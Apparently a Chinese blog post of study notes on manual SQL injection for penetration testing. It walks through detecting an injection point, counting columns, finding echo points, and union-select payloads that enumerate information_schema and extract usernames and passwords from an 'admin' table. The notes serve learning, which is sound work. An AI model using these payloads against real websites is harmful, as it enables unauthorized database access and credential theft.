【渗透测试】SQL注入笔记

SQL注入原理

用户输入的内容被浏览器当做数据库语句进行执行。

两个关键条件

1、输入的内容一定要是数据库语句。

2、输入的内容当做数据库语句进行执行。

特点:用户输入的内容就是我们输入的内容。

输入位置

1.网站给我们提供的搜索框。

2.网址的参数的值。

总结

我们输入的【数据库语句】,如果被网站执行了,就说明这个网站存在数据库注入漏洞。

比如说,我们输入的[login],被网站执行了,带到他的数据库进行查询,并将查询的结果显示到了页面上。

数据库查询语法

Select ··· from ··· where ···

	select 查询
	from 来自
	where 条件,当···的时候

手注流程—数据库注入漏洞

第一步:判断注入点

判断网站是否存在数据库注入漏洞

and 1=1 --> 页面有内容

and 1=2 --> 页面没有内容

==> 推断出这个网站存在数据库注入漏洞。

加 and 1=2 的目的:让前面的语句不执行,否则会影响我们后面的语句。

第二步:判断字段数

判断字段数(列数),order by ,作用:排序。

order by :用于根据指定的列对结果集进行排序。

order by 1 --> 页面有内容 --> 说明网站的表里面有1列。
order by 2 --> 页面有内容 --> 说明网站的表里面有2列。
order by 3 --> 页面没有内容 --> 说明网站的表里面没有3列,只有2列。

ps:当使用and被拦截的时候,可以考虑使用order by 去判断网站是否存在数据库注入漏洞。
在这里插入图片描述
在这里插入图片描述

第三步:判断回显点

union,作用:联合查询,能够同时执行两条查询语句。

关键点:必须保证前后两条查询语句的列数保持一致。

回显点的作用:能够将我们输入的数据库语句执行,并且将结果显示到页面上。

select * from XXXX where id =1 and 1=2 union select 1,2

在这里插入图片描述

第四步:查询相关内容

database() # 函数,作用:查询当前数据库的库名 # maoshe

version() # 函数,作用:查询版本号 # 5.5.53

查询数据库版本

and 1=2 union select 1,version()

查询数据库

and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1

and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)

查询表名

and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1

and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database() )

查询字段名

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘admin’)

查询字段内容

and 1=2 union select 1,concat(username,’,’,password) from admin

查询表名:

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

查询字段名(列名)

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1

查询数据

?id=1 and 1=2 union select 1,password from admin limit 0,1

limit m,n # 查询m+1行的n条数据。限制输出的意思。

库的名字:information_schema (系统自带的)

表的名字:tables,columns

列的名字:table_name(存储的是表名),table_schema(存储的是库名),column_name(存储的都是列的名字)

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

粥粥粥少女的拧发条鸟

你的鼓励是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值